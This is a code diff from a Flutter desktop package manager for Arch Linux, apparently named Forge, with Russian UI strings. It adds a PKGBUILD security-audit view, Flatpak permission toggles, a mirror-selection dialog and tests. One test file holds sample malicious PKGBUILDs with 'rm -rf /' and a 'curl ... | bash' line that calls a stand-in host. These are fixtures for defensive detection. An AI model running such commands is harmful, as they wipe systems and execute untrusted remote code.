_buildFlatpakPermissionsTab(theme),
],
),
),
@@ -890,6 +972,479 @@ class _PackageInspectorSheetState extends State<PackageInspectorSheet> {
);
}
Widget _buildPkgbuildTab(MacosThemeData theme) {
if (_isLoadingPkgbuild) {
return const Center(
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
ProgressCircle(radius: 14),
SizedBox(height: 12),
Text(
'Загрузка и аудит PKGBUILD из AUR...',
style: TextStyle(color: CupertinoColors.systemGrey, fontSize: 13),
),
],
),
);
}
if (_pkgbuildContent == null) {
return Center(
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
const MacosIcon(CupertinoIcons.exclamationmark_triangle, size: 36, color: CupertinoColors.systemOrange),
const SizedBox(height: 10),
Text('Не удалось получить PKGBUILD для $_currentPackageName'),
const SizedBox(height: 14),
PushButton(
controlSize: ControlSize.regular,
secondary: true,
onPressed: _loadPkgbuild,
child: const Text('Повторить попытку'),
),
],
),
);
}
final audit = _pkgbuildAudit;
final lines = _pkgbuildContent!.split('\n');
Color bannerBg;
Color bannerBorder;
Color iconColor;
IconData bannerIcon;
String statusTitle;
if (audit == null || audit.isSafe) {
bannerBg = CupertinoColors.systemGreen.withValues(alpha: 0.12);
bannerBorder = CupertinoColors.systemGreen.withValues(alpha: 0.35);
iconColor = CupertinoColors.systemGreen;
bannerIcon = CupertinoIcons.checkmark_shield_fill;
statusTitle = 'Аудит безопасности: БЕЗОПАСНО';
} else if (audit.hasDanger) {
bannerBg = CupertinoColors.systemRed.withValues(alpha: 0.12);
bannerBorder = CupertinoColors.systemRed.withValues(alpha: 0.35);
iconColor = CupertinoColors.systemRed;
bannerIcon = CupertinoIcons.exclamationmark_shield_fill;
statusTitle = 'Аудит безопасности: ОПАСНО!';
} else {
bannerBg = CupertinoColors.systemOrange.withValues(alpha: 0.12);
bannerBorder = CupertinoColors.systemOrange.withValues(alpha: 0.35);
iconColor = CupertinoColors.systemOrange;
bannerIcon = CupertinoIcons.shield_lefthalf_fill;
statusTitle = 'Аудит безопасности: ПРЕДУПРЕЖДЕНИЕ';
}
// Собираем строки с проблемами в карту
final issueMap = <int, SecurityIssue>{};
if (audit != null) {
for (final issue in audit.issues) {
issueMap[issue.lineNumber] = issue;
}
}
return ListView(
padding: const EdgeInsets.all(22),
children: [
// Карточка статуса аудита
Container(
padding: const EdgeInsets.all(14),
decoration: BoxDecoration(
color: bannerBg,
borderRadius: BorderRadius.circular(10),
border: Border.all(color: bannerBorder),
),
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Row(
children: [
MacosIcon(bannerIcon, color: iconColor, size: 22),
const SizedBox(width: 10),
Text(
statusTitle,
style: TextStyle(
fontWeight: FontWeight.bold,
fontSize: 14,
color: iconColor,
),
),
],
),
const SizedBox(height: 6),
Text(
audit?.summary ?? '',
style: const TextStyle(fontSize: 12.5, height: 1.35),
),
if (audit != null && audit.issues.isNotEmpty) ...[
const SizedBox(height: 10),
...audit.issues.map((iss) => Padding(
padding: const EdgeInsets.only(top: 4),
child: Row(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Text(
'Строка ${iss.lineNumber}: ',
style: TextStyle(
fontWeight: FontWeight.bold,
fontSize: 12,
color: iss.severity == SecuritySeverity.danger
? CupertinoColors.systemRed
: CupertinoColors.systemOrange,
),
),
Expanded(
child: Text(
iss.description,
style: const TextStyle(fontSize: 12),
),
),
],
),
)),
],
],
),
),
const SizedBox(height: 16),
// Панель действий с кодом
Row(
children: [
_buildSectionHeader('КОД PKGBUILD (${lines.length} СТРОК)'),
const Spacer(),
MacosTooltip(
message: 'Скопировать весь скрипт сборки в буфер',
child: PushButton(
controlSize: ControlSize.small,
secondary: true,
onPressed: () {
Clipboard.setData(ClipboardData(text: _pkgbuildContent!));
},
child: const Row(
mainAxisSize: MainAxisSize.min,
children: [
MacosIcon(CupertinoIcons.doc_on_clipboard, size: 12),
SizedBox(width: 4),
Text('Скопировать'),
],
),
),
),
const SizedBox(width: 8),
MacosTooltip(
message: 'Обновить и перепроверить PKGBUILD',
child: MacosIconButton(
icon: const MacosIcon(CupertinoIcons.arrow_clockwise, size: 14),
onPressed: _loadPkgbuild,
),
),
],
),
const SizedBox(height: 10),
// Контейнер кода PKGBUILD
Container(
decoration: BoxDecoration(
color: CupertinoColors.black.withValues(alpha: 0.65),
borderRadius: BorderRadius.circular(8),
border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.1)),
),
child: SingleChildScrollView(
scrollDirection: Axis.horizontal,
child: Padding(
padding: const EdgeInsets.all(12),
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: List.generate(lines.length, (idx) {
final lineNum = idx + 1;
final lineText = lines[idx];
final issue = issueMap[lineNum];
return Container(
padding: const EdgeInsets.symmetric(vertical: 1),
color: issue != null
? (issue.severity == SecuritySeverity.danger
? CupertinoColors.systemRed
: CupertinoColors.systemOrange)
.withValues(alpha: 0.25)
: CupertinoColors.transparent,
child: Row(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
SizedBox(
width: 38,
child: Text(
'$lineNum',
style: TextStyle(
fontFamily: 'monospace',
fontSize: 11.5,
color: issue != null ? CupertinoColors.white : CupertinoColors.systemGrey,
),
),
),
SelectableText(
lineText,
style: TextStyle(
fontFamily: 'monospace',
fontSize: 12,
color: issue != null
? (issue.severity == SecuritySeverity.danger
? const Color(0xFFFF6961)
: const Color(0xFFFFB340))
: (lineText.trim().startsWith('#')
? CupertinoColors.systemGrey
: const Color(0xFFE0E0E0)),
),
),
],
),
);
}),
),
),
),
),
],
);
}
Widget _buildFlatpakPermissionsTab(MacosThemeData theme) {
if (_isLoadingFlatpakPerms) {
return const Center(
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
ProgressCircle(radius: 14),
SizedBox(height: 12),
Text(
'Загрузка разрешений песочницы...',
style: TextStyle(color: CupertinoColors.systemGrey, fontSize: 13),
),
],
),
);
}
final perms = _flatpakPermissions;
if (perms == null) {
return Center(
child: Column(
mainAxisSize: MainAxisSize.min,
children: [
const MacosIcon(CupertinoIcons.shield_slash, size: 36, color: CupertinoColors.systemGrey),
const SizedBox(height: 10),
Text('Разрешения для $_currentPackageName недоступны (приложение не установлено).'),
const SizedBox(height: 14),
PushButton(
controlSize: ControlSize.regular,
secondary: true,
onPressed: _loadFlatpakPerms,
child: const Text('Проверить снова'),
),
],
),
);
}
return ListView(
padding: const EdgeInsets.all(22),
children: [
// Инфо баннер песочницы Flatseal
Container(
padding: const EdgeInsets.all(14),
decoration: BoxDecoration(
color: const Color(0xFF0A84FF).withValues(alpha: 0.1),
borderRadius: BorderRadius.circular(10),
border: Border.all(color: const Color(0xFF0A84FF).withValues(alpha: 0.3)),
),
child: Row(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
const MacosIcon(CupertinoIcons.lock_shield_fill, color: Color(0xFF0A84FF), size: 24),
const SizedBox(width: 12),
Expanded(
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
const Text(
'Песочница Flatpak (Sandbox Permissions)',
style: TextStyle(fontWeight: FontWeight.bold, fontSize: 13.5),
),
const SizedBox(height: 4),
const Text(
'Вы можете гибко настраивать доступы приложения к сети, файловой системе и графическим серверам без прав администратора.',
style: TextStyle(fontSize: 12, color: CupertinoColors.systemGrey, height: 1.3),
),
if (perms.hasOverrides) ...[
const SizedBox(height: 8),
Container(
padding: const EdgeInsets.symmetric(horizontal: 8, vertical: 3),
decoration: BoxDecoration(
color: const Color(0xFF0A84FF).withValues(alpha: 0.2),
borderRadius: BorderRadius.circular(5),
),
child: const Text(
'Активны пользовательские переопределения',
style: TextStyle(fontSize: 11, fontWeight: FontWeight.bold, color: Color(0xFF0A84FF)),
),
),
],
],
),
),
],
),
),
const SizedBox(height: 18),
_buildSectionHeader('СЕТЬ И ФАЙЛЫ'),
const SizedBox(height: 10),
_buildPermissionToggle(
title: 'Доступ к сети Интернет',
subtitle: 'Разрешает входящие и исходящие соединения (network socket)',
icon: CupertinoIcons.globe,
value: perms.network,
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.network, val),
),
_buildPermissionToggle(
title: 'Домашняя папка пользователя (~/)',
subtitle: 'Доступ к файлам и документам пользователя (--filesystem=home)',
icon: CupertinoIcons.folder_fill,
value: perms.filesystemHome,
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.filesystemHome, val),
),
_buildPermissionToggle(
title: 'Все системные файлы (Корневая ФС)',
subtitle: 'Полный доступ к системным файлам хоста (--filesystem=host)',
icon: CupertinoIcons.desktopcomputer,
value: perms.filesystemHost,
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.filesystemHost, val),
),
const SizedBox(height: 16),
_buildSectionHeader('ДИСПЛЕЙ И МУЛЬТИМЕДИА'),
const SizedBox(height: 10),
_buildPermissionToggle(
title: 'Дисплейный сервер Wayland',
subtitle: 'Прямой графический протокол Wayland (--socket=wayland)',
icon: CupertinoIcons.macwindow,
value: perms.socketWayland,
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.socketWayland, val),
),
_buildPermissionToggle(
title: 'Дисплейный сервер X11',
subtitle: 'Классический графический протокол X11/XWayland (--socket=x11)',
icon: CupertinoIcons.tv,
value: perms.socketX11,
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.socketX11, val),
),
_buildPermissionToggle(
title: 'Звук (PulseAudio / PipeWire)',
subtitle: 'Воспроизведение и запись аудиопотоков (--socket=pulseaudio)',
icon: CupertinoIcons.speaker_2_fill,
value: perms.socketPulseaudio,
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.socketPulseaudio, val),
),
_buildPermissionToggle(
title: '3D-ускорение видеокарты (GPU)',
subtitle: 'Прямой доступ к видеодрайверам DRI (--device=dri)',
icon: CupertinoIcons.gamecontroller_fill,
value: perms.deviceDri,
onChanged: (val) => _toggleFlatpakPermission(FlatpakPermissionType.deviceDri, val),
),
const SizedBox(height: 20),
// Кнопка сброса
Row(
mainAxisAlignment: MainAxisAlignment.end,
children: [
PushButton(
controlSize: ControlSize.regular,
secondary: true,
onPressed: perms.hasOverrides ? _resetFlatpakPermissions : null,
child: const Row(
mainAxisSize: MainAxisSize.min,
children: [
MacosIcon(CupertinoIcons.arrow_counterclockwise, size: 14),
SizedBox(width: 6),
Text('Сбросить к заводским разрешениям'),
],
),
),
],
),
],
);
}
Widget _buildPermissionToggle({
required String title,
required String subtitle,
required IconData icon,
required bool value,
required ValueChanged<bool> onChanged,
}) {
final theme = MacosTheme.of(context);
return Container(
margin: const EdgeInsets.only(bottom: 8),
padding: const EdgeInsets.symmetric(horizontal: 14, vertical: 10),
decoration: BoxDecoration(
color: theme.dividerColor.withValues(alpha: 0.12),
borderRadius: BorderRadius.circular(8),
border: Border.all(color: theme.dividerColor.withValues(alpha: 0.4), width: 0.8),
),
child: Row(
children: [
Container(
width: 32,
height: 32,
decoration: BoxDecoration(
color: value ? const Color(0xFF0A84FF).withValues(alpha: 0.18) : CupertinoColors.systemGrey.withValues(alpha: 0.15),
borderRadius: BorderRadius.circular(7),
),
child: Center(
child: MacosIcon(
icon,
color: value ? const Color(0xFF0A84FF) : CupertinoColors.systemGrey,
size: 16,
),
),
),
const SizedBox(width: 12),
Expanded(
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Text(
title,
style: const TextStyle(fontWeight: FontWeight.w600, fontSize: 13),
),
const SizedBox(height: 2),
Text(
subtitle,
style: const TextStyle(fontSize: 11, color: CupertinoColors.systemGrey),
),
],
),
),
MacosSwitch(
value: value,
onChanged: onChanged,
),
],
),
);
}
Widget _buildSectionHeader(String title) {
return Text(
title,
@@ -0,0 +1,460 @@
import 'package:flutter/cupertino.dart';
import 'package:flutter/material.dart' show Divider;
import 'package:macos_ui/macos_ui.dart';
import '../../services/admin_service.dart';
import '../../services/reflector_service.dart';
class ReflectorMirrorDialog extends StatefulWidget {
const ReflectorMirrorDialog({super.key});
static Future<void> show(BuildContext context) {
return showMacosSheet(
context: context,
barrierDismissible: true,
builder: (context) => const ReflectorMirrorDialog(),
);
}
@override
State<ReflectorMirrorDialog> createState() => _ReflectorMirrorDialogState();
}
class _ReflectorMirrorDialogState extends State<ReflectorMirrorDialog> {
List<ReflectorCountry> _countries = [];
List<String> _currentMirrors = [];
List<String> _previewMirrors = [];
String _selectedCountry = 'Germany';
int _limit = 5;
bool _httpsOnly = true;
final String _sortBy = 'rate';
bool _isLoading = true;
bool _isTesting = false;
bool _isApplying = false;
String? _statusMessage;
bool _isSuccess = false;
@override
void initState() {
super.initState();
_loadInitialData();
}
Future<void> _loadInitialData() async {
setState(() => _isLoading = true);
try {
final countries = await ReflectorService.getCountries();
final current = await ReflectorService.getCurrentActiveMirrors();
if (mounted) {
setState(() {
_countries = countries;
_currentMirrors = current;
_isLoading = false;
});
}
} catch (_) {
if (mounted) setState(() => _isLoading = false);
}
}
Future<void> _runPreview() async {
setState(() {
_isTesting = true;
_statusMessage = null;
});
try {
final results = await ReflectorService.previewMirrors(
country: _selectedCountry == 'All' ? null : _selectedCountry,
latest: _limit,
httpsOnly: _httpsOnly,
sort: _sortBy,
);
if (mounted) {
setState(() {
_previewMirrors = results;
_isTesting = false;
if (results.isEmpty) {
_statusMessage = 'Зеркала не найдены. Попробуйте выбрать другую страну или снять ограничение HTTPS.';
_isSuccess = false;
} else {
_statusMessage = 'Успешно протестировано! Найдено ${results.length} быстрых зеркал.';
_isSuccess = true;
}
});
}
} catch (e) {
if (mounted) {
setState(() {
_isTesting = false;
_statusMessage = 'Ошибка тестирования: $e';
_isSuccess = false;
});
}
}
}
Future<void> _applyMirrors() async {
final password = await AdminService.promptPassword(
context,
title: 'Оптимизация зеркал репозиториев',
reason: 'Для обновления /etc/pacman.d/mirrorlist требуются права администратора.',
);
if (password == null) return;
setState(() {
_isApplying = true;
_statusMessage = null;
});
try {
final success = await ReflectorService.applyMirrors(
password,
country: _selectedCountry == 'All' ? null : _selectedCountry,
latest: _limit,
httpsOnly: _httpsOnly,
sort: _sortBy,
);
final updated = await ReflectorService.getCurrentActiveMirrors();
if (mounted) {
setState(() {
_isApplying = false;
_currentMirrors = updated;
if (success) {
_statusMessage = '✅ Список зеркал успешно обновлен и сохранен в /etc/pacman.d/mirrorlist!';
_isSuccess = true;
} else {
_statusMessage = '❌ Не удалось применить изменения. Проверьте пароль или подключение к сети.';
_isSuccess = false;
}
});
}
} catch (e) {
if (mounted) {
setState(() {
_isApplying = false;
_statusMessage = '❌ Ошибка: $e';
_isSuccess = false;
});
}
}
}
@override
Widget build(BuildContext context) {
final theme = MacosTheme.of(context);
return Center(
child: Container(
width: 620,
height: 560,
decoration: BoxDecoration(
color: theme.canvasColor,
borderRadius: BorderRadius.circular(16),
border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.12)),
boxShadow: [
BoxShadow(
color: CupertinoColors.black.withValues(alpha: 0.45),
blurRadius: 28,
offset: const Offset(0, 10),
),
],
),
child: Column(
children: [
// Шапка
Padding(
padding: const EdgeInsets.fromLTRB(20, 18, 20, 14),
child: Row(
children: [
Container(
width: 38,
height: 38,
decoration: BoxDecoration(
color: const Color(0xFF0A84FF).withValues(alpha: 0.15),
borderRadius: BorderRadius.circular(10),
),
child: const Center(
child: MacosIcon(
CupertinoIcons.speedometer,
color: Color(0xFF0A84FF),
size: 22,
),
),
),
const SizedBox(width: 14),
const Expanded(
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Text(
'Оптимизация зеркал (Reflector)',
style: TextStyle(
fontSize: 16,
fontWeight: FontWeight.bold,
),
),
SizedBox(height: 2),
Text(
'Тестирование пинга и скорости зеркал Arch Linux',
style: TextStyle(
fontSize: 12,
color: CupertinoColors.systemGrey,
),
),
],
),
),
MacosIconButton(
icon: const MacosIcon(CupertinoIcons.xmark, size: 16),
onPressed: () => Navigator.of(context).pop(),
),
],
),
),
const Divider(height: 1, color: CupertinoColors.separator),
// Контент
Expanded(
child: _isLoading
? const Center(child: ProgressCircle(radius: 14))
: SingleChildScrollView(
padding: const EdgeInsets.all(20),
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
// Блок параметров
Container(
padding: const EdgeInsets.all(16),
decoration: BoxDecoration(
color: theme.dividerColor.withValues(alpha: 0.08),
borderRadius: BorderRadius.circular(12),
border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.08)),
),
child: Column(
children: [
Row(
children: [
const Expanded(
child: Text(
'Страна серверов:',
style: TextStyle(fontWeight: FontWeight.w500, fontSize: 13),
),
),
MacosPopupButton<String>(
value: _selectedCountry,
onChanged: (val) {
if (val != null) setState(() => _selectedCountry = val);
},
items: [
const MacosPopupMenuItem(
value: 'All',
child: Text('Весь мир (All)'),
),
..._countries.map((c) => MacosPopupMenuItem(
value: c.name,
child: Text('${c.name} (${c.count})'),
)),
],
),
],
),
const SizedBox(height: 12),
Row(
children: [
const Expanded(
child: Text(
'Количество лучших зеркал:',
style: TextStyle(fontWeight: FontWeight.w500, fontSize: 13),
),
),
MacosPopupButton<int>(
value: _limit,
onChanged: (val) {
if (val != null) setState(() => _limit = val);
},
items: const [
MacosPopupMenuItem(value: 3, child: Text('Топ 3')),
MacosPopupMenuItem(value: 5, child: Text('Топ 5')),
MacosPopupMenuItem(value: 10, child: Text('Топ 10')),
MacosPopupMenuItem(value: 20, child: Text('Топ 20')),
],
),
],
),
const SizedBox(height: 12),
Row(
children: [
const Expanded(
child: Text(
'Использовать только HTTPS:',
style: TextStyle(fontWeight: FontWeight.w500, fontSize: 13),
),
),
MacosSwitch(
value: _httpsOnly,
onChanged: (val) => setState(() => _httpsOnly = val),
),
],
),
],
),
),
const SizedBox(height: 16),
// Кнопки предпросмотра
Row(
children: [
PushButton(
controlSize: ControlSize.regular,
secondary: true,
onPressed: _isTesting ? null : _runPreview,
child: Row(
mainAxisSize: MainAxisSize.min,
children: [
if (_isTesting) ...[
const ProgressCircle(radius: 6),
const SizedBox(width: 8),
] else
const MacosIcon(CupertinoIcons.play_arrow, size: 14),
const SizedBox(width: 6),
const Text('Тестировать (Предпросмотр)'),
],
),
),
const Spacer(),
PushButton(
controlSize: ControlSize.regular,
onPressed: _isApplying || _isTesting ? null : _applyMirrors,
child: Row(
mainAxisSize: MainAxisSize.min,
children: [
if (_isApplying) ...[
const ProgressCircle(radius: 6),
const SizedBox(width: 8),
] else
const MacosIcon(CupertinoIcons.checkmark_seal_fill, size: 14),
const SizedBox(width: 6),
const Text('Применить зеркала'),
],
),
),
],
),
if (_statusMessage != null) ...[
const SizedBox(height: 14),
Container(
padding: const EdgeInsets.symmetric(horizontal: 12, vertical: 10),
decoration: BoxDecoration(
color: (_isSuccess ? CupertinoColors.systemGreen : CupertinoColors.systemRed)
.withValues(alpha: 0.12),
borderRadius: BorderRadius.circular(8),
border: Border.all(
color: (_isSuccess ? CupertinoColors.systemGreen : CupertinoColors.systemRed)
.withValues(alpha: 0.3),
),
),
child: Row(
children: [
MacosIcon(
_isSuccess
? CupertinoIcons.check_mark_circled
: CupertinoIcons.exclamationmark_triangle,
size: 16,
color: _isSuccess ? CupertinoColors.systemGreen : CupertinoColors.systemRed,
),
const SizedBox(width: 8),
Expanded(
child: Text(
_statusMessage!,
style: TextStyle(
fontSize: 12.5,
color: _isSuccess ? CupertinoColors.systemGreen : CupertinoColors.systemRed,
),
),
),
],
),
),
],
const SizedBox(height: 16),
// Список зеркал
if (_previewMirrors.isNotEmpty) ...[
const Text(
'Результат замера (будут сохранены):',
style: TextStyle(fontWeight: FontWeight.bold, fontSize: 13),
),
const SizedBox(height: 8),
..._previewMirrors.map((url) => Container(
margin: const EdgeInsets.only(bottom: 6),
padding: const EdgeInsets.symmetric(horizontal: 10, vertical: 8),
decoration: BoxDecoration(
color: theme.dividerColor.withValues(alpha: 0.05),
borderRadius: BorderRadius.circular(6),
border: Border.all(color: CupertinoColors.white.withValues(alpha: 0.05)),
),
child: Row(
children: [
const MacosIcon(CupertinoIcons.link, size: 14, color: Color(0xFF0A84FF)),
const SizedBox(width: 8),
Expanded(
child: Text(
url,
style: const TextStyle(fontSize: 12, fontFamily: 'monospace'),
),
),
],
),
)),
] else if (_currentMirrors.isNotEmpty) ...[
const Text(
'Текущие активные зеркала в системе:',
style: TextStyle(fontWeight: FontWeight.bold, fontSize: 13),
),
const SizedBox(height: 8),
..._currentMirrors.take(5).map((url) => Container(
margin: const EdgeInsets.only(bottom: 6),
padding: const EdgeInsets.symmetric(horizontal: 10, vertical: 8),
decoration: BoxDecoration(
color: theme.dividerColor.withValues(alpha: 0.05),
borderRadius: BorderRadius.circular(6),
),
child: Row(
children: [
const MacosIcon(CupertinoIcons.checkmark_alt,
size: 14, color: CupertinoColors.systemGrey),
const SizedBox(width: 8),
Expanded(
child: Text(
url,
style: const TextStyle(
fontSize: 12,
fontFamily: 'monospace',
color: CupertinoColors.systemGrey,
),
),
),
],
),
)),
],
],
),
),
),
],
),
),
);
}
}
+77
View File
@@ -0,0 +1,77 @@
import 'package:flutter_test/flutter_test.dart';
import 'package:forge/src/services/aur_pkgbuild_service.dart';
void main() {
group('AurPkgbuildService Audit Tests', () {
test('passes safe PKGBUILD with clean verdict', () {
const safePkgbuild = '''
# Maintainer: John Doe <john@example.com>
pkgname=hello-world
pkgver=1.0.0
pkgrel=1
arch=('x86_64')
source=("https://example.com/hello-world-1.0.0.tar.gz")
sha256sums=('SKIP')
build() {
cd "\$srcdir/\$pkgname-\$pkgver"
make
}
package() {
cd "\$srcdir/\$pkgname-\$pkgver"
make DESTDIR="\$pkgdir" install
}
''';
final result = AurPkgbuildService.audit(safePkgbuild);
expect(result.overallSeverity, SecuritySeverity.safe);
expect(result.isSafe, isTrue);
expect(result.issues, isEmpty);
});
test('detects dangerous rm -rf / command', () {
const maliciousPkgbuild = '''
pkgname=bad-actor
pkgver=1.0.0
package() {
rm -rf /
}
''';
final result = AurPkgbuildService.audit(maliciousPkgbuild);
expect(result.overallSeverity, SecuritySeverity.danger);
expect(result.hasDanger, isTrue);
expect(result.issues.any((i) => i.ruleName == 'destructive_command'), isTrue);
});
test('detects pipe to shell (curl | bash)', () {
const maliciousPkgbuild = '''
pkgname=untrusted-app
pkgver=1.0.0
build() {
curl -sSL https://malicious.com/install.sh | bash
}
''';
final result = AurPkgbuildService.audit(maliciousPkgbuild);
expect(result.overallSeverity, SecuritySeverity.danger);
expect(result.issues.any((i) => i.ruleName == 'pipe_to_shell'), isTrue);
});
test('detects warning for git clone inside build()', () {
const warningPkgbuild = '''
pkgname=git-puller
pkgver=1.0.0
build() {
git clone https://github.com/example/repo.git
}
''';
final result = AurPkgbuildService.audit(warningPkgbuild);
expect(result.overallSeverity, SecuritySeverity.warning);
expect(result.hasWarnings, isTrue);
expect(result.issues.any((i) => i.ruleName == 'network_in_build'), isTrue);
});
});
}
+20
View File
@@ -0,0 +1,20 @@
import 'package:flutter/material.dart';
import 'package:flutter_test/flutter_test.dart';
import 'package:macos_ui/macos_ui.dart';
import 'package:forge/src/ui/widgets/keyboard_shortcuts_dialog.dart';
void main() {
testWidgets('KeyboardShortcutsDialog renders all shortcuts', (tester) async {
await tester.pumpWidget(
const MacosApp(
home: Scaffold(
body: KeyboardShortcutsDialog(),
),
),
);
expect(find.text('Горячие клавиши Forge'), findsOneWidget);
expect(find.text('Быстрый поиск приложений (Spotlight)'), findsOneWidget);
expect(find.text('Понятно'), findsOneWidget);
});
}
@@ -0,0 +1,49 @@
import 'package:flutter_test/flutter_test.dart';
import 'package:forge/src/services/flatpak_permissions_service.dart';
void main() {
group('FlatpakPermissionsService Parser Tests', () {
test('parses basic permissions from manifest correctly', () {
const manifest = '''
[Application]
name=org.example.App
[Context]
shared=ipc;network;
sockets=pulseaudio;x11;
devices=dri;
filesystems=host;
''';
const overrides = '';
final perms = FlatpakPermissionsService.parsePermissions('org.example.App', manifest, overrides);
expect(perms.network, isTrue);
expect(perms.socketPulseaudio, isTrue);
expect(perms.socketX11, isTrue);
expect(perms.deviceDri, isTrue);
expect(perms.filesystemHost, isTrue);
expect(perms.filesystemHome, isTrue); // host implies home
expect(perms.hasOverrides, isFalse);
});
test('respects user overrides (disabling network and x11)', () {
const manifest = '''
[Context]
shared=ipc;network;
sockets=pulseaudio;x11;wayland;
''';
const overrides = '''
[Context]
shared=!network;
sockets=!x11;
''';
final perms = FlatpakPermissionsService.parsePermissions('org.example.App', manifest, overrides);
expect(perms.network, isFalse);
expect(perms.socketX11, isFalse);
expect(perms.socketWayland, isTrue);
expect(perms.socketPulseaudio, isTrue);
expect(perms.hasOverrides, isTrue);
});
});
}